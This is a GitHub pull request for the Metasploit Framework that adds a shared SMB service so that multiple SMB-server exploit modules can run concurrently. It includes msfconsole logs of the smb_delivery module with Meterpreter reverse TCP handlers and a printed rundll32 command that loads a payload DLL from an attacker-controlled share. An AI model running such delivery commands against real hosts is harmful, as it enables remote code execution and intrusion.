Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Shared SMB Service #18680

Merged
merged 5 commits into from
Jan 26, 2024
Merged

Conversation

zeroSteiner
Copy link
Contributor

This adds a service compatible with Rex::ServiceManager for SMB that can be shared among modules. There are currently 15 modules using the Msf::Exploit::Remote::SMB::Server::Share and this change will allow them all to be run concurrently. Once #18664 is landed, it also also allow multiple instances of that payload handler to be run as well. The only two modules that can not share the service are the auxiliary/server/capture/smb and exploit/windows/smb/smb_relay modules because they alter the authentication process. Because that authentication process is altered, shares can not actually be opened by clients for files to be read. Within the code, the limitation is implemented in the new service classes .hardcore_alias method by uniquely keying on the GSS provider.

For the remaining modules that are able to share the instance, it's assumed that they should register their own unique share and create whatever files within it that they need to. The Msf::Exploit::Remote::SMB::Server::Share will now raise an exception via #fail_with if the share that is to be added already exists because the module would be interfering with another. In this case, the user needs to set the SHARE datastore option to a new, unique value.

Something will need to be rebased depending on if this or #18664 is landed first. I'm happy to handle that in which ever order is easiest.

This requires the changes from rapid7/ruby_smb#260 to be implemented for cleaning up the service.

Verification

  • Start msfconsole
  • Enable the manager commands by running features set manager_commands true and restarting msfconsole
  • Run the exploit/windows/smb/smb_delivery module twice, taking care to set the LPORT (if necessary) and SHARE datastore options to unique values between runs
  • Run the _servicemanager command to see an instance starting with Rex::Proto::SMB::Server
  • Use smbclient or something else to verify that both shares were created (e.g. smbclient //192.168.159.128/Share1 -U smcintyre -N -c "dir *" assuming that Share1 was one of the share names)
  • Stop one of the jobs using jobs -k #, leaving the other running
  • Use smbclient again to make sure that one share is still online while the other is gone
  • Stop the last job
  • Use smbclient again, but this time see that it fails with a connection error because the server was stopped due to the last reference being closed

Example

msf6 exploit(windows/smb/smb_delivery) > _servicemanager
[*] No framework services are currently running.
msf6 exploit(windows/smb/smb_delivery) > run SHARE=Share1
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/smb_delivery) > 
[*] Started reverse TCP handler on 192.168.250.134:4444 
[*] Server is running. Listening on 0.0.0.0:445
[*] Server started.
[*] Run the following command on the target machine:
rundll32.exe \\0.0.0.0\Share1\test.dll,0

msf6 exploit(windows/smb/smb_delivery) > run SHARE=Share2 LPORT=5555
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/smb_delivery) > 
[*] Started reverse TCP handler on 192.168.250.134:5555 
[*] Server is running. Listening on 0.0.0.0:445
[*] Server started.
[*] Run the following command on the target machine:
rundll32.exe \\0.0.0.0\Share2\test.dll,0

msf6 exploit(windows/smb/smb_delivery) > _servicemanager
Services
========

 Id  Name                                                                                                                                                                                                                        References
 --  ----                                                                                                                                                                                                                        ----------
 0   Rex::Proto::SMB::Server445-0.0.0.0-Rex::Socket::Comm::Local-Msf::Exploit::Remote::SMB::Server::HashCapture::HashCaptureNTLMProvider(allow_anonymous=true, allow_guests=true, default_domain=WORKGROUP, ntlm_type3_status=)  3
 1   SMB Server                                                                                                                                                                                                                  3

msf6 exploit(windows/smb/smb_delivery) > smbclient //192.168.159.128/Share1 -U smcintyre -N -c "dir *"
[*] exec: smbclient //192.168.159.128/Share1 -U smcintyre -N -c "dir *"

  .                                   D        0  Mon Jan  8 16:00:40 2024
  test.dll                            N     9216  Mon Jan  8 16:03:20 2024
Error in dskattr: NT_STATUS_NOT_SUPPORTED
msf6 exploit(windows/smb/smb_delivery) > smbclient //192.168.159.128/Share2 -U smcintyre -N -c "dir *"
[*] exec: smbclient //192.168.159.128/Share2 -U smcintyre -N -c "dir *"

  .                                   D        0  Mon Jan  8 16:02:22 2024
  test.dll                            N     9216  Mon Jan  8 16:03:26 2024
Error in dskattr: NT_STATUS_NOT_SUPPORTED
msf6 exploit(windows/smb/smb_delivery) > jobs

Jobs
====

  Id  Name                               Payload                          Payload opts
  --  ----                               -------                          ------------
  0   Exploit: windows/smb/smb_delivery  windows/meterpreter/reverse_tcp  tcp://192.168.250.134:4444
  1   Exploit: windows/smb/smb_delivery  windows/meterpreter/reverse_tcp  tcp://192.168.250.134:5555

msf6 exploit(windows/smb/smb_delivery) > jobs -k 0
[*] Stopping the following job(s): 0
[*] Stopping job 0
msf6 exploit(windows/smb/smb_delivery) > smbclient //192.168.159.128/Share1 -U smcintyre -N -c "dir *"
[*] exec: smbclient //192.168.159.128/Share1 -U smcintyre -N -c "dir *"

tree connect failed: NT_STATUS_BAD_NETWORK_NAME
msf6 exploit(windows/smb/smb_delivery) > smbclient //192.168.159.128/Share2 -U smcintyre -N -c "dir *"
[*] exec: smbclient //192.168.159.128/Share2 -U smcintyre -N -c "dir *"

  .                                   D        0  Mon Jan  8 16:02:22 2024
  test.dll                            N     9216  Mon Jan  8 16:03:37 2024
Error in dskattr: NT_STATUS_NOT_SUPPORTED
msf6 exploit(windows/smb/smb_delivery) > jobs -k 1
[*] Stopping the following job(s): 1
[*] Stopping job 1

[*] Server stopped.
msf6 exploit(windows/smb/smb_delivery) > smbclient //192.168.159.128/Share1 -U smcintyre -N -c "dir *"
[*] exec: smbclient //192.168.159.128/Share1 -U smcintyre -N -c "dir *"

do_connect: Connection to 192.168.159.128 failed (Error NT_STATUS_CONNECTION_REFUSED)
msf6 exploit(windows/smb/smb_delivery) > _servicemanager 
[*] No framework services are currently running.
msf6 exploit(windows/smb/smb_delivery) >

@zeroSteiner
Copy link
Contributor Author

I'm working through why the unit tests are failing right now.

@zeroSteiner zeroSteiner force-pushed the feat/smb/rex-service branch from 30e7da5 to 024bdae Compare January 8, 2024 21:54
@zeroSteiner
Copy link
Contributor Author

I'm working through why the unit tests are failing right now.

It was an issue with my ruby_smb PR branch not including the latest changes.

Drop keys whose values are empty to shorten the string
lib/rex/proto/smb/server.rb Outdated Show resolved Hide resolved
lib/rex/proto/smb/server.rb Outdated Show resolved Hide resolved
@bwatters-r7 bwatters-r7 self-assigned this Jan 26, 2024
@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Jan 26, 2024

I just want to double-check the behavior I'm seeing.

When I run through this, it removes the jobs as expected, but if there is an established smb session, the thread appears to remain to the established connection. I can still query and download the files even when no service exists if I use the established session before I killed the service:

image

image

image

Edit: Yes, this is currently expected behavior.

This pulls in the changes from rapid7/ruby_smb#260 which adds the
 #remove_share method that is needed for cleanup.
@bwatters-r7 bwatters-r7 merged commit d05b85d into rapid7:master Jan 26, 2024
57 checks passed
@bwatters-r7
Copy link
Contributor

Release Notes

This adds a service compatible with Rex::ServiceManager for SMB that can be shared among modules.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants